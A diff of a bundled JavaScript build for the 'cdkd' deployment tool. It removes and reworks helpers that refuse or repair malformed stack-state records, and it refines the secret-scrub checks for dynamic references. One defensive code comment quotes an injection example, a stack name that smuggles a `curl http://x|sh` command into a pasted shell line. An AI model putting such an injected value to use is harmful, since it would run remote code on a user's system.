-* deploy's failure-path saves write `outputs: currentState.outputs`, which
-* `JSON.stringify` drops when it is `undefined`. So `undefined` is EXEMPT here
-* while it is a defect for `resources`. `null` is NOT exempt — it is a value a
-* hand-edited record carries and every consumer either throws on it or
-* launders it into `{}`.
-*
-* Both {@link repairMalformedOutputsForReadOnly} and
-* {@link refuseMalformedOutputs} delegate to this, so the read-only and the
-* write-capable halves cannot come to different verdicts about the same record.
-*/
-function hasReadableOutputs(state) {
-	return state.outputs === void 0 || isReadableBag(state.outputs);
-}
-/**
-* The shared explanation, in the terms the reader needs: what is wrong, what
-* to look at, and what NOT to do next.
-*
-* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
-* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
-* `.claude/rules/layout-state-types.md` require of any suggestion a user is
-* meant to paste, for two separate reasons.
-*
-* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
-* printable-ASCII allowlist, so it removes the line- and escape-forgery class
-* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
-* trusted here, since a stack name reaches the cross-stack read path from an
-* `Fn::GetStackOutput` argument or an S3 key. A name spelled
-* `a'; curl http://x|sh; echo '` would close the quoting and append its own
-* command to the line this text tells the user to RUN.
-*
-* Wrapping the command in `'...'` is not enough either, and is what makes the
-* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
-* produces something unpastable. Hence unwrapped and last.
-*
-* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
-* nothing — an empty argument makes `--stack-region` swallow the next flag,
-* turning a remedy into a differently-broken command.
-*
-* MODULE-PRIVATE, and it stayed that way after go-to-k/cdkd#3206's review
-* considered exporting it. `cdkd scrub`'s audited-record refusal needed the
-* same three properties (sanitize, cap, `UNRENDERABLE` on empty) plus a
-* BOUNDARY, because its names go into a comma-joined list where a name
-* containing the delimiter forges an entry. `displayIdent` has all four —
-* JSON-quoting escapes the delimiter it adds — so that caller uses it and this
-* stays private. The pair here is not duplicated: what differs is the
-* `shellQuote` composition every message in THIS module needs and that one
-* must not have.
-*/
-function safeIdentifier(value) {
-	const safe = displaySafe(value, { asciiOnly: true });
-	if (!safe) return UNRENDERABLE;
-	const { text, truncated } = truncateCodePoints(safe, 128);
-	return truncated ? `${text}...` : text;
-}
-function malformedStateDetail(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
-	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
-}
-/**
-* For a READ-ONLY command: give the record an empty resource bag so the
-* command can report on it, and say so (issue go-to-k/cdkd#3018).
-*
-* `parseStateBody` deliberately does not validate the inner shape, so a
-* hand-edited or truncated record reaches a command with `resources` absent,
-* `null`, or some other non-object. Every such command then died on a raw
-* `TypeError` from the first `Object.keys` / `in` / index read — the exact
-* wording differs per shape (`Cannot convert undefined or null to object`,
-* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
-* them names a stack, a key or a remedy, from exactly the commands a user
-* reaches for WHEN the state is broken.
-*
-* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
-* the twelve `Object.entries(state.resources)` loops, which was inert: every
-* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
-* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
-* happened one line up and the guards only made it look handled. One call per
-* load dominates the whole flow behind it, including the helpers that take the
-* state as a parameter (`orphan-rewriter`, `diff-calculator`,
-* `collectCcApiRoutes`).
-*
-* Mutates in place and returns whether it repaired anything; the caller warns
-* on `true`. A silent repair is its own defect — an empty resource set is
-* indistinguishable from a healthy empty stack in every later line of output,
-* so `No changes detected` over an unreadable record is a clean verdict about
-* nothing.
-*
-* **Only for a command that cannot WRITE state.** Anything that can persist
-* uses {@link refuseMalformedState} instead; see its note.
-*/
-function repairMalformedResourcesForReadOnly(state) {
-	if (hasReadableResources(state)) return false;
-	state.resources = {};
-	return true;
-}
-/**
-* The refusal TEXT, for a command whose own exit-code contract means this
-* cannot be a plain `CdkdError`.
-*
-* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
-* plaintext") and every one of its refusals carries `exitCode = 2`, because a
-* CI gate reading the code alone must be able to tell "scrub looked and found
-* a leak" from "scrub refused to look" — the two call for opposite responses.
-* So scrub tests {@link hasReadableResources} and raises its own class around
-* this text rather than calling {@link refuseMalformedState}.
-*
-* The other three refusing commands do NOT share that need, and giving them a
-* single shared code would be wrong in the other direction: `cdkd rollback`
-* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
-* would tell an operator to re-run a command that attempted nothing.
-*/
-function malformedStateRefusalMessage(stackName, region) {
-	return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
-}
-/**
-* The warning a view emits when it emptied one or more {@link
-* RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
-*
-* Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
-* narrower than it looks. That one tells the reader not to run `cdkd deploy` /
-* `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
-* from an empty stack: deploy would re-CREATE everything and destroy would
-* delete nothing. No container named here can produce that specific confusion —
-* the resource SET is still readable — so borrowing that sentence would attach
-* a re-create-the-world warning to a record whose resource list is intact.
-*
-* It is NOT that these containers are display-only. `properties` is read by the
-* deploy change calculation (`src/analyzer/diff-calculator.ts`), which imports
-* nothing from this module, and a non-object there compares unequal to any
-* desired object and yields a spurious property-change set — filed as
-* go-to-k/cdkd#3191. An earlier revision of this comment asserted the
-* display-only premise, which would have read as licence to drop a guard on
-* that path (review of go-to-k/cdkd#3190).
-*
-* What stays the same is the remedy: `--json` is the mode that shows the
-* stored value.
-*
-* ONE warning per record however many containers it names — a stack whose 500
-* resources all carry a hand-edited `properties` gets one line, not 500. The
-* caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
-* stable across records. Not `.sort()` — that order is deliberately not
-* alphabetical, and its own JSDoc says so.
-*
-* Both identifiers are sanitized and then shell-quoted, and the command is
-* emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
-* gives.
-*
-* The container NAMES take {@link safeIdentifier} too — the SAME helper, so
-* they cannot drift from it — but NOT `shellQuote`, because they appear in the
-* PROSE and never inside the command this text tells the reader to run; the
-* command carries the two identifiers and nothing else.
-*
-* Sanitizing them is not dead code written for a case that cannot happen. The
-* union above is closed at COMPILE time, so without this the guarantee would
-* live in a comment, and the day a caller derives a name from a record instead
-* of from a literal an unsanitized element could forge a line, render as empty
-* quotes naming nothing, or run to kilobytes and push the remedy command off
-* the reader's screen. `safeIdentifier` closes all three and is the identity on
-* all four literals, so no user-visible text moves.
-*
-* What it does NOT close, stated rather than reassured away: a forged name made
-* only of printable ASCII still renders verbatim inside its quotes and could
-* read as prose. That residual is bounded to the PROSE — the command the reader
-* pastes is built from the two shell-quoted identifiers alone — and closing it
-* would mean JSON-quoting a name in the one place the text is meant to read as
-* English (review of go-to-k/cdkd#3190).
-*/
-function malformedRenderedContainersWarning(stackName, region, containers) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
-	const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
-	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
-}
-/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
-function malformedResourcesWarning(stackName, region) {
-	return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
-}
-/**
-* The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
-* READ-ONLY command that DIFFS the stored bag rather than rendering it
-* (go-to-k/cdkd#3189).
-*
-* `computeOutputsDiff` enumerates the stored bag twice, the second walk
-* emitting one `REMOVE` row per stored key today's template no longer declares.
-* It used to admit the bag on a bare `?? {}`, which covers `null` and
-* `undefined` only — so a hand-edited or truncated record whose `outputs` holds
-* a string or a list previewed the REMOVAL of outputs that never existed, one
-* row per character or element, each carrying a character of the record as its
-* `old:` side, with `cdkd diff --fail` exiting 1 on them.
-*
-* AT THE LOAD, for the reason
-* {@link repairMalformedResourcesForReadOnly}'s own note records and one more
-* that is specific to this container: `cdkd diff` dereferences the stored bag
-* BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
-* `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
-* skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
-* verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
-* outright on `null` (`Cannot convert undefined or null to object`). So a guard
-* written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
-* `TypeError`, one call above it.
-*
-* ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
-* {@link isReadableBag}'s verdict, and the split is measured rather than
-* stylistic. Both stored-bag lookups named above gate on
-* `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
-* bag never reaches one; every other consumer on the diff path carries its own
-* `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
-* function's own walk). An absent bag is therefore inert, exactly the condition
-* under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
-* would be a false positive on a record cdkd itself supports: `cdkd scrub`
-* round-trips a record with no `outputs` deliberately, refusing to materialize
-* `{}` over it, and the deploy's failure-path saves write
-* `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
-* undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
-* `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
-* like any other unreadable shape.
-*
-* That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
-* purpose: it asked that a `null` bag "diff exactly as it does today and say
-* nothing", and diffing exactly as it does today means THROWING. Recorded on
-* the issue rather than silently traded.
-*
-* Mutates in place and returns whether it repaired anything; the caller warns
-* on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
-* the reason {@link refuseMalformedState} gives — a bag laundered into a
-* well-formed empty one is permanent, and for `outputs` it would also take the
-* exports index with it on the next write.
-*/
-function repairMalformedOutputsForReadOnly(state) {
-	if (hasReadableOutputs(state)) return false;
-	state.outputs = {};
-	return true;
-}
-/**
-* The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
-*
-* Deliberately neither {@link malformedResourcesWarning}'s text nor
-* {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
-* continuing empty differs from both. The resources text forbids
-* `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
-* indistinguishable from an empty stack; the resource set is intact here. The
-* rendered-containers text says the view "shows no rows there" — true of a
-* renderer, false of a diff, which does not go quiet on an empty stored bag but
-* reports every resolved output as an `ADD`. Saying so is the point: an
-* operator who reads `ADD` rows for outputs the stack already has needs to know
-* the comparison lost its left-hand side.
-*
-* Identifiers are sanitized and then shell-quoted and the command is emitted
-* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
-*/
-function malformedOutputsWarning(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
-	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
-}
-/**
-* For a command that can WRITE state: refuse the record by name instead of
-* repairing it.
-*
-* Repairing is actively DANGEROUS here, and the PR that introduced this module
-* shipped that danger for one round before its security review caught it.
-* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
-* change alone satisfies — so a record holding `"resources": null` and a
-* plaintext secret in `outputs` would be scrubbed, and then saved back with a
-* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
-* signal that anything is wrong; laundering it into a legitimate-looking empty
-* one is permanent and silent. The next `cdkd deploy` then reads zero resources
-* and CREATES the whole stack a second time, and the next `cdkd destroy`
-* deletes nothing and orphans every live resource — and the one-shot warning
-* that would have said so is long gone, quite possibly for a different
-* operator. `cdkd import --force` launders it the same way.
-*
-* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
-* this names the stack, the region, the defect and the remedy, and exits on a
-* code rather than on a stack trace.
-*/
-function refuseMalformedState(state, stackName, region) {
-	if (hasReadableResources(state)) return;
-	throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
-}
-/**
-* The `outputs` half of {@link malformedStateRefusalMessage}, for the same
-* reason that one is exported separately from the throw: `cdkd scrub`'s exit
-* `1` is spoken for and it raises its own exit-2 class around this text.
-*
-* A DIFFERENT text from the `resources` refusal because the consequence of
-* continuing differs, the same way the three warnings in this module differ. The
-* `resources` message forbids `cdkd deploy` / `cdkd destroy` because an
-* unreadable resource MAP is indistinguishable from an empty stack; the resource
-* set is intact here. What is at stake instead is the SHARED exports index:
-* `cdkd/_index/<region>/exports.json` is rebuilt from these bags, and a string
-* bag published one fabricated export per character into the namespace every
-* other stack's `Fn::ImportValue` binds against.
-*
-* Identifiers are sanitized and THEN shell-quoted and the command is emitted
-* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
-*/
-function malformedOutputsRefusalMessage(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
-	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
-}
-/**
-* The line `ExportIndexStore`'s rebuild emits for a producer record whose
-* export set it could not read (issue go-to-k/cdkd#3192) — `outputs` not a
-* plain object, or `exportNames` present and not an array.
-*
-* A THIRD outputs text rather than {@link malformedOutputsWarning} because the
-* consequence is again different, which is the rule the two above already
-* follow. That one describes a DIFF continuing with an empty left-hand side.
-* This describes a record CONTRIBUTING NOTHING to a shared, region-wide index
-* other stacks resolve against — so the symptom a reader will actually meet is
-* a later `Fn::ImportValue` failing in a DIFFERENT stack, naming the consumer
-* and not this record. Saying which producer dropped out is the whole value of
-* the line.
-*
-* It says the rebuild CONTINUES, because it does: refusing would take every
-* other producer in the region down with it, and the index is best-effort by
-* design.
-*
-* Identifiers are sanitized and THEN shell-quoted and the command is emitted
-* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
-*/
-function malformedExportSourceWarning(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
-	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
-}
-/**
-* The line a READ-ONLY command emits when a record's `exportNames` FIELD could
-* not be used (go-to-k/cdkd#3192 review) — present and not an array, or an
-* array with no usable name in it.
-*
-* Why a message at all, when the predicate already fails closed: before this
-* class was guarded, `cdkd diff` over such a record died with
-* `TypeError: state.exportNames.filter is not a function`. Failing closed
-* inside `importableOutputKeys` is right — it is a pure predicate reached from
-* five commands and holds no stack identity — but silently replacing a LOUD
-* wrong answer with a QUIET one is its own regression, and `cdkd diff` is
-* exactly the caller that DOES hold the identity. Without this it warned about
-* a damaged `outputs` bag on one line and said nothing about the damaged
-* `exportNames` on the same record.
-*
-* Deliberately NOT {@link malformedOutputsWarning}'s text: that one is about
-* the BAG, and the consequence differs. An unusable export SET does not lose
-* the comparison's left-hand side — every stored key is still diffed — it
-* makes the preview report no key as an export, so a row that would carry
-* `[export]` renders without it.
-*
-* Identifiers are sanitized and THEN shell-quoted and the command is emitted
-* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
-*/
-function malformedExportNamesWarning(stackName, region) {
-	const stack = safeIdentifier(stackName);
-	const reg = safeIdentifier(region);
-	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
-}
-/**
-* For a command that can WRITE state: refuse a record whose `outputs` bag
-* cannot be read, instead of rebuilding it (issue go-to-k/cdkd#3192).
-*
-* The SIBLING of {@link refuseMalformedState}, and deliberately a second call
-* rather than a widening of that one. A record can be malformed in either
-* container alone, the two carry different consequences, and the refusal a user
-* sees must name the container that is actually broken — a `resources` message
-* printed over an intact resource map tells them not to run `cdkd deploy` for a
-* reason that does not hold.
-*
-* Why REFUSE and not {@link repairMalformedOutputsForReadOnly}, which is the
-* opposite answer for the same container one function up: repairing the bag and
-* then saving it IS the laundering this is here to stop. Measured, not
-* reasoned — `rewriteResourceReferences` turns `outputs: 'abcdef'` into
-* `{"0":"a",…,"5":"f"}` and `cdkd orphan` saves that; `cdkd scrub`'s
-* `redactUnaccountedOutputs` spreads the same string into a map and its
-* `outputsChanged` compare then satisfies the `recordsChanged > 0` write gate;
-* `cdkd import` carries a `null` bag through `?? {}`. Each one rewrites a
-* damaged record into a well-formed one and the evidence is gone.
-*
-* CALL IT AT THE LOAD, beside {@link refuseMalformedState} and above the first
-* expression that reads the bag — the placement rule
-* {@link repairMalformedResourcesForReadOnly}'s note records, for the reason it
-* records: a guard written at the rebuild leaves every earlier dereference in
-* front of it.
-*/
-function refuseMalformedOutputs(state, stackName, region) {
-	if (hasReadableOutputs(state)) return;
-	throw new CdkdError(malformedOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
-}
-
 //#endregion
 //#region src/state/export-index-store.ts
 /**
@@ -62452,6 +62156,7 @@ async function runDestroyForStack(stackName, state, ctx) {
 	const resourceCount = Object.keys(state.resources).length;
 	const orphanCount = (state.orphans ?? []).length;
 	const regionForState = state.region ?? ctx.baseRegion;
+	refuseMalformedOutputsForDestroy(state, stackName, regionForState);
 	if (resourceCount === 0 && orphanCount === 0) {
 		logger.info(`Stack ${stackName} has no resources, cleaning up state...`);
 		let emptyLockHeld = false;
@@ -62872,7 +62577,7 @@ async function runDestroyForStack(stackName, state, ctx) {
 				} catch (error) {
 					renderer.removeTask(logicalId);
 					const msg = error instanceof Error ? error.message : String(error);
-					if (!isInterruptedWaitError(error) && !isFinalSnapshotError(error) && !isMarkedNonRetryable(error) && (msg.includes("does not exist") || msg.includes("not found") || msg.includes("No policy found") || msg.includes("NoSuchEntity") || msg.includes("NotFoundException"))) {
+					if (!isInterruptedWaitError(error) && !isFinalSnapshotError(error) && !isMarkedNonRetryable(error) && !isWaitAbandonedError(error) && (msg.includes("does not exist") || msg.includes("not found") || msg.includes("No policy found") || msg.includes("NoSuchEntity") || msg.includes("NotFoundException"))) {
 						logger.debug(`  ${logicalId} already deleted, removing from state`);
 						result.deletedCount++;
 						ctx.eventRecorder?.record({
@@ -63324,6 +63029,7 @@ var NestedStackProvider = class {
 	async readChildOutputsAsAttributes(ctx, childStackName, childRegion) {
 		const childStateData = await ctx.stateBackend.getState(childStackName, childRegion);
 		if (!childStateData) throw new Error(`Child stack state '${childStackName}' not found after deploy — NestedStackProvider invariant violated.`);
+		refuseMalformedNestedChildOutputs(childStateData.state, childStackName, childRegion);
 		const attributes = this.buildOutputsAttributes(childStateData.state.outputs ?? {});
 		const noEchoAttributeNames = [];
 		for (const [outputKey, persisted] of Object.entries(childStateData.state.outputs ?? {})) {
@@ -66310,6 +66016,8 @@ async function loadStateOrEmpty(stackName, region, stateBackend) {
 	const result = await stateBackend.getState(stackName, region);
 	if (result) {
 		if (repairMalformedResourcesForReadOnly(result.state)) logger.warn(malformedResourcesWarning(stackName, region));
+		const unreadableProps = repairMalformedResourcePropertiesForReadOnly(result.state);
+		if (unreadableProps.length > 0) logger.warn(malformedResourcePropertiesWarning(stackName, region, unreadableProps));
 		if (repairMalformedOutputsForReadOnly(result.state)) logger.warn(malformedOutputsWarning(stackName, region));
 		if (isReadableBag(result.state.outputs) && !hasReadableExportSet(result.state)) logger.warn(malformedExportNamesWarning(stackName, region));
 		return result.state;
@@ -66475,13 +66183,17 @@ async function computeStackDiff(currentState, template, region, stackName, state
 		adoptedOrphans = Object.keys(plan.adopted);
 		adoptedRecords = plan.adopted;
 		blocking = plan.refusals;
-		if (adoptedOrphans.length > 0) stateForDiff = {
-			...currentState,
-			resources: {
-				...currentState.resources,
-				...plan.adopted
-			}
-		};
+		if (adoptedOrphans.length > 0) {
+			stateForDiff = {
+				...currentState,
+				resources: {
+					...currentState.resources,
+					...plan.adopted
+				}
+			};
+			const tornAdopted = repairMalformedResourcePropertiesForReadOnly(stateForDiff);
+			if (tornAdopted.length > 0) logger.warn(malformedResourcePropertiesWarning(stackName, region, tornAdopted));
+		}
 	}
 	const changes = await diffCalculator.calculateDiff(stateForDiff, effectiveTemplate, resolveFn, canonicalizeProperties);
 	const changedLogicalIds = new Set([...changes.values()].filter((c) => c.changeType !== "NO_CHANGE").map((c) => c.logicalId));
@@ -69045,26 +68757,6 @@ function isRegionAmbiguousRefusal(err) {
 	return err instanceof Error && errorCauseChain(err).some((link) => link instanceof DynamicReferenceRegionAmbiguousError);
 }
 /**
-* The marker the resolver's NAMELESS-dynamic-reference throw carries
-* (`Dynamic reference: <service> PARAMETER_NAME is required`).
-*
-* Pinned against the resolver's own literal by
-* `tests/unit/cli/scrub-nameless-dynamic-ref.test.ts`, because this is a
-* consumer of a string the resolver owns: a reword there would otherwise make
-* the predicate below silently stop matching and restore the very silence it
-* exists to remove (`.claude/rules/testing.md` -> "A fixture that greps
-* cdkd's OWN output must fail loudly when the format drifts").
-*/
-const NAMELESS_DYNAMIC_REFERENCE_MARKERS = ["PARAMETER_NAME is required", "SECRET_ID is required"];
-/**
-* The prefix a matching message must ALSO carry. Without it the bare tails
-* above are reachable from an unrelated throw: `resolveParameters` raises
-* `Parameter ${name} is required but no value was provided`, so a template
-* parameter literally NAMED `PARAMETER_NAME` would flip an ordinary
-* best-effort miss into a whole-stack refusal.
-*/
-const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
-/**
 * A NAMELESS dynamic reference is NOT a best-effort miss, however unresolvable
 * the rest of the resource is (issue go-to-k/cdkd#2692) — `{{resolve:ssm-secure}}`
 * with no parameter name, or `{{resolve:secretsmanager}}` /
@@ -69072,12 +68764,18 @@ const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
 *
 * The resolver raises a bare `Error` for both, so they fall through the
 * typed-refusal test above into the `debug` below and `cdkd scrub` reports the
-* run CLEAN. What makes that wrong is WHERE the throw happens: the token loop
-* in `resolveDynamicReferences` has NO per-token `try`, so either one abandons
-* every remaining `{{resolve:...}}` token in the leaf. A real
-* `{{resolve:secretsmanager:prod/db}}` after it is never fetched and records NO
-* needle — and a legacy plaintext already in `state.json` then survives under
-* `No plaintext secrets found`, exit 0.
+* run CLEAN.
+*
+* WHY THAT STILL MATTERS AFTER go-to-k/cdkd#3181, which changed the reason. It
+* used to be about POSITION: the token loop had no per-token `try`, so a
+* nameless throw abandoned every remaining `{{resolve:...}}` token in the leaf
+* and a real reference behind it recorded no needle. That is no longer true —
+* the loop recovers per token for every opted-in caller. What survives is the
+* NAMELESS reference itself: it is a structurally broken template that no
+* substitution produces, the resolver re-raises it through
+* `isDeliberateResolutionRefusal` rather than recording it, and scrub must not
+* report a run clean over one. The predicate below is what turns that re-raise
+* into a refusal instead of a `debug` line.
 *
 * BOTH spellings are matched, and the second is the DOMINANT one. The first
 * cut matched `PARAMETER_NAME is required` alone, leaving the more common way
@@ -69086,8 +68784,7 @@ const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
 * precisely BECAUSE the other throw spells it differently.
 *
 * WHY THE SET STOPS AT "is required", having once been widened to the whole
-* `Dynamic reference:` family and reverted. The loop's missing per-token `try`
-* means four SIBLING failures — a deleted SSM parameter, a secret with no
+* `Dynamic reference:` family and reverted. Four SIBLING failures — a deleted SSM parameter, a secret with no
 * `SecretString`, a missing `JSON_KEY`, a non-JSON secret — abandon the leaf
 * exactly the same way, so on the surface they belong here. They do not,
 * because scrub resolves with template DEFAULTS and takes no `--parameters`:
@@ -69116,7 +68813,7 @@ const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
 * The old, wrong-in-substance refusal was backstopping this one.
 */
 function isNamelessDynamicReferenceFailure(err) {
-	return err instanceof Error && errorCauseChain(err).some((link) => link instanceof Error && link.message.includes(DYNAMIC_REFERENCE_PREFIX) && NAMELESS_DYNAMIC_REFERENCE_MARKERS.some((marker) => link.message.includes(marker)));
+	return isNamelessDynamicReferenceError(err);
 }
 /**
 * The per-record line each counting site prints. Deliberately ONE SHORT
@@ -69222,55 +68919,49 @@ function abandonedScanVerdict(source, err) {
 	return "count";
 }
 /**
-* `source` carries a `{{resolve:...}}` token cdkd could actually have FETCHED —
-* i.e. one whose argument holds no surviving `${...}` placeholder.
-*
-* `carriesDynamicReference` alone is too generous here, and the gap is not
-* theoretical: scrub resolves with `bestEffort`, under which
-* `rethrowStructuralSubFailure` returns EARLY, so an `Fn::Sub` over an unbound
-* placeholder does not throw — it warn-and-KEEPS the literal `${Field}`. The
-* assembled token is then a request for a JSON key literally named `${Field}`,
-* which fails as `Dynamic reference: key '${Field}' not found in secret '<id>'`.
-* That is not a fetch that failed; it is a token that was never fetchable,
-* because scrub has only template DEFAULTS and accepts no `--parameters`. It is
-* ALSO not excludable by message, since `key ... not found` is a class
-* go-to-k/cdkd#3160 asks to COUNT when the key was real. So the discriminator
-* has to be the TOKEN, not the error.
-*
-* `some`, not `every`: a bag holding one placeholder-bearing token and one
-* fully substituted token still counts, because the second one genuinely was
-* fetchable and its scan genuinely stopped.
-*
-* WHAT THIS DOES AND DOES NOT BUY, since round 5 shipped a cut that confused
-* the two. A `false` here downgrades the GATE only — the record is still named
-* at default verbosity by the `warn` arm. It must never decide SILENCE: the
-* inner class is `[^}]`, so a placeholder ANYWHERE in a token fails this test,
-* and the reference assembled by an `Fn::Sub` over DEFAULTED parameters is the
-* dominant CDK spelling rather than an edge case.
-*
-* STATED RESIDUALS, both UNDER-counts against the gate, neither a silence:
-*
-* - A two-argument `Fn::Sub` whose placeholder IS bound
-*   (`{'Fn::Sub': ['{{resolve:ssm:${N}}}', {N: 'x'}]}`) substitutes fine and
-*   yields a fetchable token, but the raw bag still spells `${`, so a real
-*   fetch failure there warns instead of gating.
-* - The same for a single-argument `Fn::Sub` over a defaulted parameter, and
-*   for a placeholder mid-token, which yields no token at all.
-*
-* And one OVER-count, recorded for symmetry: this predicate is BAG-scoped while
-* the failure is TOKEN-scoped, so a bag holding a placeholder-bearing token
-* BESIDE a genuinely fetchable one returns `true`, and a `key '${Field}' not
-* found` raised for the first is gated as if it came from the second. Safety
-* is in the right direction (a gate that fires, not a plaintext under `clean`),
-* and same-bag co-location bounds it.
-*
-* go-to-k/cdkd#3181 is the fix that removes the need for any of these proxies.
-*/
-function carriesFetchableDynamicReference(source) {
-	if (typeof source === "string") return dynamicReferenceTokens(source).some((token) => !token.includes("${"));
-	if (Array.isArray(source)) return source.some(carriesFetchableDynamicReference);
-	if (source !== null && typeof source === "object") return Object.values(source).some(carriesFetchableDynamicReference);
-	return false;
+* The same three-way question asked of ONE abandoned unit (issues
+* go-to-k/cdkd#3181 / go-to-k/cdkd#3218), rather than of the property enclosing
+* it.
+*
+* Identical in shape to {@link abandonedScanVerdict} and deliberately so — the
+* only difference is WHERE the two structural facts come from. There they are
+* computed from the whole property, because a thrown error is all that path
+* has. Here the resolver recorded each unit's own answer at the push, as two
+* booleans, so the verdict needs no value and can carry no plaintext.
+*
+* Asking per unit removes both of the bag-scoped proxy's errors at once:
+* a unit carrying no reference (go-to-k/cdkd#3218's `{"Ref": ...}` key) no
+* longer inherits a sibling's reference and count, and a genuinely unfetched
+* reference no longer hides behind a template-shape failure recorded before it.
+*/
+function abandonedUnitVerdict(entry) {
+	if (!entry.carriedDynamicReference) return "silent";
+	if (isTemplateShapeResolutionFailure(entry.error) || !entry.carriedFetchableReference) return "warn";
+	return "count";
+}
+/**
+* The verdict for a whole BAG of abandoned units: the most severe of them.
+*
